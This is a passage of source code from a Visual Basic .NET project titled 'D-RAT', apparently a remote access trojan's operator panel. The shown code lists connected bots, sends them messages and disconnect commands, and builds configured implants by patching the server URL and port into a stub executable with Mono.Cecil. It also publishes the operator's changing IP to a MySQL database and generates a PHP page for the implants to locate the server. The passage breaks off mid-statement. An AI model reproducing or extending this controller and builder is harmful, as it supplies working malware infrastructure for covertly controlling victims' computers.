Me.ImageList1.Images.SetKeyName(207, "207.jpg") 399 | Me.ImageList1.Images.SetKeyName(208, "208.gif") 400 | Me.ImageList1.Images.SetKeyName(209, "209.gif") 401 | Me.ImageList1.Images.SetKeyName(210, "210.gif") 402 | Me.ImageList1.Images.SetKeyName(211, "211.gif") 403 | Me.ImageList1.Images.SetKeyName(212, "212.gif") 404 | Me.ImageList1.Images.SetKeyName(213, "213.gif") 405 | Me.ImageList1.Images.SetKeyName(214, "214.gif") 406 | Me.ImageList1.Images.SetKeyName(215, "215.gif") 407 | Me.ImageList1.Images.SetKeyName(216, "216.gif") 408 | Me.ImageList1.Images.SetKeyName(217, "217.gif") 409 | Me.ImageList1.Images.SetKeyName(218, "218.gif") 410 | Me.ImageList1.Images.SetKeyName(219, "219.gif") 411 | Me.ImageList1.Images.SetKeyName(220, "220.gif") 412 | Me.ImageList1.Images.SetKeyName(221, "221.gif") 413 | Me.ImageList1.Images.SetKeyName(222, "222.gif") 414 | Me.ImageList1.Images.SetKeyName(223, "223.gif") 415 | Me.ImageList1.Images.SetKeyName(224, "224.gif") 416 | Me.ImageList1.Images.SetKeyName(225, "225.gif") 417 | Me.ImageList1.Images.SetKeyName(226, "226.gif") 418 | Me.ImageList1.Images.SetKeyName(227, "227.gif") 419 | Me.ImageList1.Images.SetKeyName(228, "228.gif") 420 | Me.ImageList1.Images.SetKeyName(229, "229.gif") 421 | Me.ImageList1.Images.SetKeyName(230, "230.gif") 422 | Me.ImageList1.Images.SetKeyName(231, "231.gif") 423 | Me.ImageList1.Images.SetKeyName(232, "232.gif") 424 | Me.ImageList1.Images.SetKeyName(233, "233.gif") 425 | Me.ImageList1.Images.SetKeyName(234, "234.gif") 426 | Me.ImageList1.Images.SetKeyName(235, "235.gif") 427 | Me.ImageList1.Images.SetKeyName(236, "236.gif") 428 | Me.ImageList1.Images.SetKeyName(237, "237.gif") 429 | Me.ImageList1.Images.SetKeyName(238, "238.gif") 430 | Me.ImageList1.Images.SetKeyName(239, "239.gif") 431 | Me.ImageList1.Images.SetKeyName(240, "240.gif") 432 | Me.ImageList1.Images.SetKeyName(241, "241.gif") 433 | ' 434 | 'StatusStrip1 435 | ' 436 | Me.StatusStrip1.BackColor = System.Drawing.Color.White 437 | Me.StatusStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {Me.infot}) 438 | Me.StatusStrip1.Location = New System.Drawing.Point(3, 227) 439 | Me.StatusStrip1.Name = "StatusStrip1" 440 | Me.StatusStrip1.Size = New System.Drawing.Size(481, 22) 441 | Me.StatusStrip1.TabIndex = 0 442 | Me.StatusStrip1.Text = "StatusStrip1" 443 | ' 444 | 'infot 445 | ' 446 | Me.infot.Name = "infot" 447 | Me.infot.Size = New System.Drawing.Size(241, 17) 448 | Me.infot.Text = "INFO : Port [ 0 ] ~ Online [ 0 ] ~ Selected [ 0 ]" 449 | ' 450 | 'TabPage2 451 | ' 452 | Me.TabPage2.Controls.Add(Me.GroupBox4) 453 | Me.TabPage2.Controls.Add(Me.GroupBox3) 454 | Me.TabPage2.Controls.Add(Me.GroupBox2) 455 | Me.TabPage2.Controls.Add(Me.GroupBox1) 456 | Me.TabPage2.Location = New System.Drawing.Point(4, 22) 457 | Me.TabPage2.Name = "TabPage2" 458 | Me.TabPage2.Padding = New System.Windows.Forms.Padding(3) 459 | Me.TabPage2.Size = New System.Drawing.Size(487, 252) 460 | Me.TabPage2.TabIndex = 1 461 | Me.TabPage2.Text = "Settings" 462 | Me.TabPage2.UseVisualStyleBackColor = True 463 | ' 464 | 'GroupBox4 465 | ' 466 | Me.GroupBox4.Controls.Add(Me.Button4) 467 | Me.GroupBox4.Controls.Add(Me.EIP) 468 | Me.GroupBox4.Controls.Add(Me.Label13) 469 | Me.GroupBox4.Controls.Add(Me.LIP) 470 | Me.GroupBox4.Controls.Add(Me.Label10) 471 | Me.GroupBox4.Location = New System.Drawing.Point(287, 150) 472 | Me.GroupBox4.Name = "GroupBox4" 473 | Me.GroupBox4.Size = New System.Drawing.Size(192, 94) 474 | Me.GroupBox4.TabIndex = 3 475 | Me.GroupBox4.TabStop = False 476 | Me.GroupBox4.Text = "IP " 477 | ' 478 | 'Button4 479 | ' 480 | Me.Button4.Cursor = System.Windows.Forms.Cursors.Hand 481 | Me.Button4.Location = New System.Drawing.Point(9, 65) 482 | Me.Button4.Name = "Button4" 483 | Me.Button4.Size = New System.Drawing.Size(177, 23) 484 | Me.Button4.TabIndex = 4 485 | Me.Button4.Text = "Test URL and check IP" 486 | Me.Button4.UseVisualStyleBackColor = True 487 | ' 488 | 'EIP 489 | ' 490 | Me.EIP.AutoSize = True 491 | Me.EIP.Location = New System.Drawing.Point(78, 36) 492 | Me.EIP.Name = "EIP" 493 | Me.EIP.Size = New System.Drawing.Size(40, 13) 494 | Me.EIP.TabIndex = 3 495 | Me.EIP.Text = "0.0.0.0" 496 | ' 497 | 'Label13 498 | ' 499 | Me.Label13.AutoSize = True 500 | Me.Label13.Location = New System.Drawing.Point(6, 36) 501 | Me.Label13.Name = "Label13" 502 | Me.Label13.Size = New System.Drawing.Size(66, 13) 503 | Me.Label13.TabIndex = 2 504 | Me.Label13.Text = "External IP :" 505 | ' 506 | 'LIP 507 | ' 508 | Me.LIP.AutoSize = True 509 | Me.LIP.Location = New System.Drawing.Point(78, 18) 510 | Me.LIP.Name = "LIP" 511 | Me.LIP.Size = New System.Drawing.Size(48, 13) 512 | Me.LIP.TabIndex = 1 513 | Me.LIP.Text = "127.0.0.1" 514 | ' 515 | 'Label10 516 | ' 517 | Me.Label10.AutoSize = True 518 | Me.Label10.Location = New System.Drawing.Point(6, 18) 519 | Me.Label10.Name = "Label10" 520 | Me.Label10.Size = New System.Drawing.Size(66, 13) 521 | Me.Label10.TabIndex = 0 522 | Me.Label10.Text = "Local IP :" 523 | ' 524 | 'GroupBox3 525 | ' 526 | Me.GroupBox3.Controls.Add(Me.Label9) 527 | Me.GroupBox3.Controls.Add(Me.Button3) 528 | Me.GroupBox3.Controls.Add(Me.Button2) 529 | Me.GroupBox3.Controls.Add(Me.Button1) 530 | Me.GroupBox3.Controls.Add(Me.DBT) 531 | Me.GroupBox3.Controls.Add(Me.Label8) 532 | Me.GroupBox3.Controls.Add(Me.PT) 533 | Me.GroupBox3.Controls.Add(Me.Label7) 534 | Me.GroupBox3.Controls.Add(Me.UT) 535 | Me.GroupBox3.Controls.Add(Me.Label6) 536 | Me.GroupBox3.Controls.Add(Me.HT) 537 | Me.GroupBox3.Controls.Add(Me.Label5) 538 | Me.GroupBox3.Location = New System.Drawing.Point(8, 68) 539 | Me.GroupBox3.Name = "GroupBox3" 540 | Me.GroupBox3.Size = New System.Drawing.Size(273, 176) 541 | Me.GroupBox3.TabIndex = 2 542 | Me.GroupBox3.TabStop = False 543 | Me.GroupBox3.Text = "DTAT BASE" 544 | ' 545 | 'Label9 546 | ' 547 | Me.Label9.AutoSize = True 548 | Me.Label9.Location = New System.Drawing.Point(9, 158) 549 | Me.Label9.Name = "Label9" 550 | Me.Label9.Size = New System.Drawing.Size(65, 13) 551 | Me.Label9.TabIndex = 11 552 | Me.Label9.Text = "Checking ..." 553 | Me.Label9.Visible = False 554 | ' 555 | 'Button3 556 | ' 557 | Me.Button3.Cursor = System.Windows.Forms.Cursors.Hand 558 | Me.Button3.Location = New System.Drawing.Point(9, 132) 559 | Me.Button3.Name = "Button3" 560 | Me.Button3.Size = New System.Drawing.Size(80, 23) 561 | Me.Button3.TabIndex = 10 562 | Me.Button3.Text = "Refresh IP" 563 | Me.Button3.UseVisualStyleBackColor = True 564 | ' 565 | 'Button2 566 | ' 567 | Me.Button2.Cursor = System.Windows.Forms.Cursors.Hand 568 | Me.Button2.Location = New System.Drawing.Point(99, 132) 569 | Me.Button2.Name = "Button2" 570 | Me.Button2.Size = New System.Drawing.Size(80, 23) 571 | Me.Button2.TabIndex = 9 572 | Me.Button2.Text = "Gen PHP" 573 | Me.Button2.UseVisualStyleBackColor = True 574 | ' 575 | 'Button1 576 | ' 577 | Me.Button1.Cursor = System.Windows.Forms.Cursors.Hand 578 | Me.Button1.Location = New System.Drawing.Point(187, 132) 579 | Me.Button1.Name = "Button1" 580 | Me.Button1.Size = New System.Drawing.Size(80, 23) 581 | Me.Button1.TabIndex = 8 582 | Me.Button1.Text = "Gen SQL DB" 583 | Me.Button1.UseVisualStyleBackColor = True 584 | ' 585 | 'DBT 586 | ' 587 | Me.DBT.Location = New System.Drawing.Point(95, 104) 588 | Me.DBT.Name = "DBT" 589 | Me.DBT.Size = New System.Drawing.Size(172, 22) 590 | Me.DBT.TabIndex = 7 591 | Me.DBT.TextAlign = System.Windows.Forms.HorizontalAlignment.Center 592 | ' 593 | 'Label8 594 | ' 595 | Me.Label8.AutoSize = True 596 | Me.Label8.Location = New System.Drawing.Point(6, 109) 597 | Me.Label8.Name = "Label8" 598 | Me.Label8.Size = New System.Drawing.Size(67, 13) 599 | Me.Label8.TabIndex = 6 600 | Me.Label8.Text = "Data Base : " 601 | ' 602 | 'PT 603 | ' 604 | Me.PT.Location = New System.Drawing.Point(95, 76) 605 | Me.PT.Name = "PT" 606 | Me.PT.Size = New System.Drawing.Size(172, 22) 607 | Me.PT.TabIndex = 5 608 | Me.PT.TextAlign = System.Windows.Forms.HorizontalAlignment.Center 609 | ' 610 | 'Label7 611 | ' 612 | Me.Label7.AutoSize = True 613 | Me.Label7.Location = New System.Drawing.Point(6, 81) 614 | Me.Label7.Name = "Label7" 615 | Me.Label7.Size = New System.Drawing.Size(64, 13) 616 | Me.Label7.TabIndex = 4 617 | Me.Label7.Text = "Password : " 618 | ' 619 | 'UT 620 | ' 621 | Me.UT.Location = New System.Drawing.Point(95, 48) 622 | Me.UT.Name = "UT" 623 | Me.UT.Size = New System.Drawing.Size(172, 22) 624 | Me.UT.TabIndex = 3 625 | Me.UT.TextAlign = System.Windows.Forms.HorizontalAlignment.Center 626 | ' 627 | 'Label6 628 | ' 629 | Me.Label6.AutoSize = True 630 | Me.Label6.Location = New System.Drawing.Point(6, 53) 631 | Me.Label6.Name = "Label6" 632 | Me.Label6.Size = New System.Drawing.Size(72, 13) 633 | Me.Label6.TabIndex = 2 634 | Me.Label6.Text = "User Name : " 635 | ' 636 | 'HT 637 | ' 638 | Me.HT.Location = New System.Drawing.Point(95, 20) 639 | Me.HT.Name = "HT" 640 | Me.HT.Size = New System.Drawing.Size(172, 22) 641 | Me.HT.TabIndex = 1 642 | Me.HT.TextAlign = System.Windows.Forms.HorizontalAlignment.Center 643 | ' 644 | 'Label5 645 | ' 646 | Me.Label5.AutoSize = True 647 | Me.Label5.Location = New System.Drawing.Point(6, 25) 648 | Me.Label5.Name = "Label5" 649 | Me.Label5.Size = New System.Drawing.Size(83, 13) 650 | Me.Label5.TabIndex = 0 651 | Me.Label5.Text = "Host / Server : " 652 | ' 653 | 'GroupBox2 654 | ' 655 | Me.GroupBox2.Controls.Add(Me.BUILDBTN) 656 | Me.GroupBox2.Controls.Add(Me.EXETB) 657 | Me.GroupBox2.Controls.Add(Me.VNTB) 658 | Me.GroupBox2.Controls.Add(Me.URLTB) 659 | Me.GroupBox2.Controls.Add(Me.Label4) 660 | Me.GroupBox2.Controls.Add(Me.Label3) 661 | Me.GroupBox2.Controls.Add(Me.Label2) 662 | Me.GroupBox2.Location = New System.Drawing.Point(287, 6) 663 | Me.GroupBox2.Name = "GroupBox2" 664 | Me.GroupBox2.Size = New System.Drawing.Size(192, 138) 665 | Me.GroupBox2.TabIndex = 1 666 | Me.GroupBox2.TabStop = False 667 | Me.GroupBox2.Text = "BUILDER " 668 | ' 669 | 'BUILDBTN 670 | ' 671 | Me.BUILDBTN.Cursor = System.Windows.Forms.Cursors.Hand 672 | Me.BUILDBTN.Location = New System.Drawing.Point(48, 106) 673 | Me.BUILDBTN.Name = "BUILDBTN" 674 | Me.BUILDBTN.Size = New System.Drawing.Size(138, 23) 675 | Me.BUILDBTN.TabIndex = 4 676 | Me.BUILDBTN.Text = "BUILD" 677 | Me.BUILDBTN.UseVisualStyleBackColor = True 678 | ' 679 | 'EXETB 680 | ' 681 | Me.EXETB.Location = New System.Drawing.Point(48, 78) 682 | Me.EXETB.Name = "EXETB" 683 | Me.EXETB.Size = New System.Drawing.Size(138, 22) 684 | Me.EXETB.TabIndex = 5 685 | Me.EXETB.TextAlign = System.Windows.Forms.HorizontalAlignment.Center 686 | ' 687 | 'VNTB 688 | ' 689 | Me.VNTB.Location = New System.Drawing.Point(48, 50) 690 | Me.VNTB.Name = "VNTB" 691 | Me.VNTB.Size = New System.Drawing.Size(138, 22) 692 | Me.VNTB.TabIndex = 4 693 | Me.VNTB.TextAlign = System.Windows.Forms.HorizontalAlignment.Center 694 | ' 695 | 'URLTB 696 | ' 697 | Me.URLTB.Location = New System.Drawing.Point(48, 22) 698 | Me.URLTB.Name = "URLTB" 699 | Me.URLTB.Size = New System.Drawing.Size(138, 22) 700 | Me.URLTB.TabIndex = 3 701 | Me.URLTB.TextAlign = System.Windows.Forms.HorizontalAlignment.Center 702 | ' 703 | 'Label4 704 | ' 705 | Me.Label4.AutoSize = True 706 | Me.Label4.Location = New System.Drawing.Point(6, 83) 707 | Me.Label4.Name = "Label4" 708 | Me.Label4.Size = New System.Drawing.Size(35, 13) 709 | Me.Label4.TabIndex = 2 710 | Me.Label4.Text = "EXE : " 711 | ' 712 | 'Label3 713 | ' 714 | Me.Label3.AutoSize = True 715 | Me.Label3.Location = New System.Drawing.Point(6, 55) 716 | Me.Label3.Name = "Label3" 717 | Me.Label3.Size = New System.Drawing.Size(34, 13) 718 | Me.Label3.TabIndex = 1 719 | Me.Label3.Text = "VN : " 720 | ' 721 | 'Label2 722 | ' 723 | Me.Label2.AutoSize = True 724 | Me.Label2.Location = New System.Drawing.Point(6, 27) 725 | Me.Label2.Name = "Label2" 726 | Me.Label2.Size = New System.Drawing.Size(36, 13) 727 | Me.Label2.TabIndex = 0 728 | Me.Label2.Text = "URL : " 729 | ' 730 | 'GroupBox1 731 | ' 732 | Me.GroupBox1.Controls.Add(Me.STOBTN) 733 | Me.GroupBox1.Controls.Add(Me.STBTN) 734 | Me.GroupBox1.Controls.Add(Me.NumericUpDown1) 735 | Me.GroupBox1.Controls.Add(Me.Label1) 736 | Me.GroupBox1.Location = New System.Drawing.Point(8, 6) 737 | Me.GroupBox1.Name = "GroupBox1" 738 | Me.GroupBox1.Size = New System.Drawing.Size(273, 56) 739 | Me.GroupBox1.TabIndex = 0 740 | Me.GroupBox1.TabStop = False 741 | Me.GroupBox1.Text = "PORT " 742 | ' 743 | 'STOBTN 744 | ' 745 | Me.STOBTN.Cursor = System.Windows.Forms.Cursors.Hand 746 | Me.STOBTN.Location = New System.Drawing.Point(199, 22) 747 | Me.STOBTN.Name = "STOBTN" 748 | Me.STOBTN.Size = New System.Drawing.Size(68, 23) 749 | Me.STOBTN.TabIndex = 3 750 | Me.STOBTN.Text = "STOP" 751 | Me.STOBTN.UseVisualStyleBackColor = True 752 | ' 753 | 'STBTN 754 | ' 755 | Me.STBTN.Cursor = System.Windows.Forms.Cursors.Hand 756 | Me.STBTN.Location = New System.Drawing.Point(125, 22) 757 | Me.STBTN.Name = "STBTN" 758 | Me.STBTN.Size = New System.Drawing.Size(68, 23) 759 | Me.STBTN.TabIndex = 2 760 | Me.STBTN.Text = "START" 761 | Me.STBTN.UseVisualStyleBackColor = True 762 | ' 763 | 'NumericUpDown1 764 | ' 765 | Me.NumericUpDown1.Location = New System.Drawing.Point(55, 22) 766 | Me.NumericUpDown1.Maximum = New Decimal(New Integer() {100000, 0, 0, 0}) 767 | Me.NumericUpDown1.Name = "NumericUpDown1" 768 | Me.NumericUpDown1.Size = New System.Drawing.Size(60, 22) 769 | Me.NumericUpDown1.TabIndex = 1 770 | Me.NumericUpDown1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center 771 | ' 772 | 'Label1 773 | ' 774 | Me.Label1.AutoSize = True 775 | Me.Label1.Location = New System.Drawing.Point(6, 27) 776 | Me.Label1.Name = "Label1" 777 | Me.Label1.Size = New System.Drawing.Size(43, 13) 778 | Me.Label1.TabIndex = 0 779 | Me.Label1.Text = "PORT : " 780 | ' 781 | 'TabPage3 782 | ' 783 | Me.TabPage3.Controls.Add(Me.Label11) 784 | Me.TabPage3.Controls.Add(Me.PictureBox1) 785 | Me.TabPage3.Location = New System.Drawing.Point(4, 22) 786 | Me.TabPage3.Name = "TabPage3" 787 | Me.TabPage3.Size = New System.Drawing.Size(487, 252) 788 | Me.TabPage3.TabIndex = 2 789 | Me.TabPage3.Text = "About" 790 | Me.TabPage3.UseVisualStyleBackColor = True 791 | ' 792 | 'Label11 793 | ' 794 | Me.Label11.AutoSize = True 795 | Me.Label11.Location = New System.Drawing.Point(263, 76) 796 | Me.Label11.Name = "Label11" 797 | Me.Label11.Size = New System.Drawing.Size(216, 117) 798 | Me.Label11.TabIndex = 1 799 | Me.Label11.Text = resources.GetString("Label11.Text") 800 | ' 801 | 'PictureBox1 802 | ' 803 | Me.PictureBox1.Dock = System.Windows.Forms.DockStyle.Fill 804 | Me.PictureBox1.Image = CType(resources.GetObject("PictureBox1.Image"), System.Drawing.Image) 805 | Me.PictureBox1.Location = New System.Drawing.Point(0, 0) 806 | Me.PictureBox1.Name = "PictureBox1" 807 | Me.PictureBox1.Size = New System.Drawing.Size(487, 252) 808 | Me.PictureBox1.TabIndex = 0 809 | Me.PictureBox1.TabStop = False 810 | ' 811 | 'Timer1 812 | ' 813 | ' 814 | 'IP_Checker 815 | ' 816 | ' 817 | 'Form1 818 | ' 819 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 820 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 821 | Me.ClientSize = New System.Drawing.Size(495, 278) 822 | Me.Controls.Add(Me.TabControl1) 823 | Me.Font = New System.Drawing.Font("Segoe UI Semibold", 8.25!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) 824 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle 825 | Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) 826 | Me.MaximizeBox = False 827 | Me.Name = "Form1" 828 | Me.Text = "D-RAT Coded By ʍᴙ.ώoŁƒ" 829 | Me.TabControl1.ResumeLayout(False) 830 | Me.TabPage1.ResumeLayout(False) 831 | Me.TabPage1.PerformLayout() 832 | Me.ContextMenuStrip1.ResumeLayout(False) 833 | Me.StatusStrip1.ResumeLayout(False) 834 | Me.StatusStrip1.PerformLayout() 835 | Me.TabPage2.ResumeLayout(False) 836 | Me.GroupBox4.ResumeLayout(False) 837 | Me.GroupBox4.PerformLayout() 838 | Me.GroupBox3.ResumeLayout(False) 839 | Me.GroupBox3.PerformLayout() 840 | Me.GroupBox2.ResumeLayout(False) 841 | Me.GroupBox2.PerformLayout() 842 | Me.GroupBox1.ResumeLayout(False) 843 | Me.GroupBox1.PerformLayout() 844 | CType(Me.NumericUpDown1, System.ComponentModel.ISupportInitialize).EndInit() 845 | Me.TabPage3.ResumeLayout(False) 846 | Me.TabPage3.PerformLayout() 847 | CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).EndInit() 848 | Me.ResumeLayout(False) 849 | 850 | End Sub 851 | Friend WithEvents TabControl1 As System.Windows.Forms.TabControl 852 | Friend WithEvents TabPage1 As System.Windows.Forms.TabPage 853 | Friend WithEvents TabPage2 As System.Windows.Forms.TabPage 854 | Friend WithEvents ImageList1 As System.Windows.Forms.ImageList 855 | Friend WithEvents TabPage3 As System.Windows.Forms.TabPage 856 | Friend WithEvents GroupBox4 As System.Windows.Forms.GroupBox 857 | Friend WithEvents GroupBox3 As System.Windows.Forms.GroupBox 858 | Friend WithEvents GroupBox2 As System.Windows.Forms.GroupBox 859 | Friend WithEvents BUILDBTN As System.Windows.Forms.Button 860 | Friend WithEvents EXETB As System.Windows.Forms.TextBox 861 | Friend WithEvents VNTB As System.Windows.Forms.TextBox 862 | Friend WithEvents URLTB As System.Windows.Forms.TextBox 863 | Friend WithEvents Label4 As System.Windows.Forms.Label 864 | Friend WithEvents Label3 As System.Windows.Forms.Label 865 | Friend WithEvents Label2 As System.Windows.Forms.Label 866 | Friend WithEvents GroupBox1 As System.Windows.Forms.GroupBox 867 | Friend WithEvents STOBTN As System.Windows.Forms.Button 868 | Friend WithEvents STBTN As System.Windows.Forms.Button 869 | Friend WithEvents NumericUpDown1 As System.Windows.Forms.NumericUpDown 870 | Friend WithEvents Label1 As System.Windows.Forms.Label 871 | Friend WithEvents ContextMenuStrip1 As System.Windows.Forms.ContextMenuStrip 872 | Friend WithEvents SendMessageToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem 873 | Friend WithEvents ToolStripSeparator1 As System.Windows.Forms.ToolStripSeparator 874 | Friend WithEvents DisconnectToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem 875 | Friend WithEvents Timer1 As System.Windows.Forms.Timer 876 | Friend WithEvents BOTLIST As System.Windows.Forms.ListView 877 | Friend WithEvents ColumnHeader1 As System.Windows.Forms.ColumnHeader 878 | Friend WithEvents ColumnHeader2 As System.Windows.Forms.ColumnHeader 879 | Friend WithEvents ColumnHeader3 As System.Windows.Forms.ColumnHeader 880 | Friend WithEvents ColumnHeader4 As System.Windows.Forms.ColumnHeader 881 | Friend WithEvents StatusStrip1 As System.Windows.Forms.StatusStrip 882 | Friend WithEvents infot As System.Windows.Forms.ToolStripStatusLabel 883 | Friend WithEvents ColumnHeader5 As System.Windows.Forms.ColumnHeader 884 | Friend WithEvents Button4 As System.Windows.Forms.Button 885 | Friend WithEvents EIP As System.Windows.Forms.Label 886 | Friend WithEvents Label13 As System.Windows.Forms.Label 887 | Friend WithEvents LIP As System.Windows.Forms.Label 888 | Friend WithEvents Label10 As System.Windows.Forms.Label 889 | Friend WithEvents Label9 As System.Windows.Forms.Label 890 | Friend WithEvents Button3 As System.Windows.Forms.Button 891 | Friend WithEvents Button2 As System.Windows.Forms.Button 892 | Friend WithEvents Button1 As System.Windows.Forms.Button 893 | Friend WithEvents DBT As System.Windows.Forms.TextBox 894 | Friend WithEvents Label8 As System.Windows.Forms.Label 895 | Friend WithEvents PT As System.Windows.Forms.TextBox 896 | Friend WithEvents Label7 As System.Windows.Forms.Label 897 | Friend WithEvents UT As System.Windows.Forms.TextBox 898 | Friend WithEvents Label6 As System.Windows.Forms.Label 899 | Friend WithEvents HT As System.Windows.Forms.TextBox 900 | Friend WithEvents Label5 As System.Windows.Forms.Label 901 | Friend WithEvents IP_Checker As System.ComponentModel.BackgroundWorker 902 | Friend WithEvents Label11 As System.Windows.Forms.Label 903 | Friend WithEvents PictureBox1 As System.Windows.Forms.PictureBox 904 | 905 | End Class 906 | -------------------------------------------------------------------------------- /D-RAT/Form1.vb: -------------------------------------------------------------------------------- 1 | Imports System.IO 2 | Imports System.Threading 3 | Imports Mono.Cecil 4 | Imports Mono.Cecil.Cil 5 | Imports MySql.Data.MySqlClient 6 | 7 | Public Class Form1 8 | 9 | Dim ip As Boolean = False 10 | Dim h As System.Net.IPHostEntry = System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName) 11 | Public WithEvents S As SocketServer 12 | Public SPL As String = "[DRAT]" 13 | Public sock As Integer 14 | 15 | Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load 16 | Control.CheckForIllegalCrossThreadCalls = False 17 | TabControl1.SelectTab(1) 18 | IP_Checker.WorkerReportsProgress = True 19 | IP_Checker.WorkerSupportsCancellation = True 20 | LIP.Text = "Loading ..." : LIP.ForeColor = Color.Blue : LIP.Refresh() 21 | EIP.Text = "Loading ..." : EIP.ForeColor = Color.Blue : EIP.Refresh() 22 | If IP_Checker.IsBusy = False Then 23 | IP_Checker.RunWorkerAsync() 24 | Else 25 | IP_Checker.CancelAsync() 26 | End If 27 | End Sub 28 | 29 | Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing 30 | End 31 | End Sub 32 | 33 | Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick 34 | infot.Text = "INFO : Port [ yyy ] ~ Online [ xxx ] ~ Selected [ zzz ]".Replace("yyy", NumericUpDown1.Value.ToString).Replace("xxx", BOTLIST.Items.Count).Replace("zzz", BOTLIST.SelectedItems.Count) 35 | End Sub 36 | 37 | Private Sub STBTN_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles STBTN.Click 38 | Try 39 | S = New SocketServer 40 | S.Start(NumericUpDown1.Value) 41 | Catch : End Try 42 | STBTN.Enabled = 0 43 | STOBTN.Enabled = 1 44 | infot.ForeColor = Color.Green 45 | Timer1.Start() 46 | End Sub 47 | 48 | Private Sub STOBTN_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles STOBTN.Click 49 | For Each x As ListViewItem In BOTLIST.Items 50 | S.Disconnect(x.ToolTipText) 51 | Next 52 | S.stops() 53 | STOBTN.Enabled = 0 54 | STBTN.Enabled = 1 55 | Timer1.Stop() 56 | infot.ForeColor = Color.Black 57 | End Sub 58 | 59 | Sub Connected(ByVal sock As Integer) Handles S.Connected 60 | S.Send(sock, "GET_INFO") 61 | End Sub 62 | 63 | Sub Disconnect(ByVal sock As Integer) Handles S.DisConnected 64 | Try 65 | BOTLIST.Items(sock.ToString).Remove() 66 | Catch ex As Exception 67 | End Try 68 | End Sub 69 | 70 | Delegate Sub _Data(ByVal sock As Integer, ByVal B As Byte()) 71 | Sub Data(ByVal sock As Integer, ByVal B As Byte()) Handles S.Data 72 | Dim T As String = BS(B) 73 | Dim A As String() = Split(T, SPL) 74 | Try 75 | If A(0) = "SENT_INFO" Then 76 | Dim L = BOTLIST.Items.Add(sock.ToString, A(1), GetCountryNumber(UCase(A(4)))) 77 | L.SubItems.Add(S.IP(sock)) 78 | L.SubItems.Add(A(2)) 79 | L.SubItems.Add(A(3)) 80 | L.SubItems.Add(A(4)) 81 | L.ToolTipText = sock 82 | End If 83 | Catch ex As Exception 84 | 85 | End Try 86 | End Sub 87 | 88 | Private Sub SendMessageToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SendMessageToolStripMenuItem.Click 89 | Dim MSG As String = InputBox("Enter Your Message", "Coded By ʍᴙ.ώoŁƒ") 90 | If MSG = "" Then 91 | Exit Sub 92 | Else 93 | For Each x As ListViewItem In BOTLIST.SelectedItems 94 | S.Send(x.ToolTipText, "SENT_SMS" & SPL & MSG) 95 | Next 96 | End If 97 | End Sub 98 | 99 | Private Sub DisconnectToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DisconnectToolStripMenuItem.Click 100 | For Each x As ListViewItem In BOTLIST.SelectedItems 101 | S.Send(x.ToolTipText, "SENT_DIS") 102 | Next 103 | End Sub 104 | 105 | Private Sub BUILDBTN_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BUILDBTN.Click 106 | Dim asm As AssemblyDefinition = AssemblyDefinition.ReadAssembly(Application.StartupPath & "\D-STUB.exe") 107 | Dim tdf As TypeDefinition 108 | For Each tdf In asm.MainModule.GetTypes 109 | Dim mdf As MethodDefinition 110 | For Each mdf In tdf.Methods 111 | If (mdf.Name = ".cctor") Then 112 | Dim enm As IEnumerator(Of Instruction) = Nothing 113 | Try 114 | enm = mdf.Body.Instructions.GetEnumerator 115 | Do While enm.MoveNext 116 | Dim current As Instruction = enm.Current 117 | If (current.OpCode.Code = Code.Ldstr) Then 118 | Dim strings As String = current.Operand.ToString 119 | If (strings = "[1]") Then current.Operand = URLTB.Text 120 | If (strings = "[2]") Then current.Operand = NumericUpDown1.Value.ToString 121 | If (strings = "[3]") Then current.Operand = VNTB.Text 122 | If (strings = "[4]") Then current.Operand = EXETB.Text 123 | End If 124 | Loop 125 | Finally 126 | enm.Dispose() 127 | End Try 128 | End If 129 | Next 130 | Next 131 | 132 | Dim sfd As New SaveFileDialog 133 | With sfd 134 | .Filter = "Assembly|*.exe" 135 | .FileName = EXETB.Text 136 | If .ShowDialog = Windows.Forms.DialogResult.OK Then 137 | asm.Write(.FileName) 138 | MsgBox("Done !", vbInformation) 139 | End If 140 | End With 141 | End Sub 142 | 143 | Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click 144 | Label9.Visible = True 145 | Dim MysqlConn As New MySqlConnection() 146 | MysqlConn.ConnectionString = "server=" & HT.Text & ";" & "user id=" & UT.Text & ";" _ 147 | & "password=" & PT.Text & ";" & "database=" & DBT.Text 148 | Try 149 | MysqlConn.Open() 150 | Label9.Text = "Done ! Connected To DB" 151 | Label9.ForeColor = Color.Green : Label9.Refresh() : Me.Refresh() 152 | Using comm As New MySqlCommand() 153 | With comm 154 | .Connection = MysqlConn 155 | .CommandText = "UPDATE `IP_updater` SET `New_IP`='xxx' WHERE 1".Replace("xxx", EIP.Text) 156 | .CommandType = CommandType.Text 157 | End With 158 | Try 159 | comm.ExecuteNonQuery() 160 | Catch ex As MySqlException 161 | MsgBox(ex.Message.ToString()) 162 | End Try 163 | End Using 164 | Label9.Text = "New IP Successfully saved! [ IP : " & EIP.Text & " ]" 165 | Catch myerror As MySqlException 166 | Label9.Text = "Error ! Cannot Connect To DB" 167 | Label9.ForeColor = Color.Red : Label9.Refresh() 168 | End Try 169 | MysqlConn.Dispose() 170 | End Sub 171 | 172 | Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click 173 | Dim PHP As String = My.Resources.PHP_Page 174 | PHP = PHP.Replace("|H|", HT.Text) 175 | PHP = 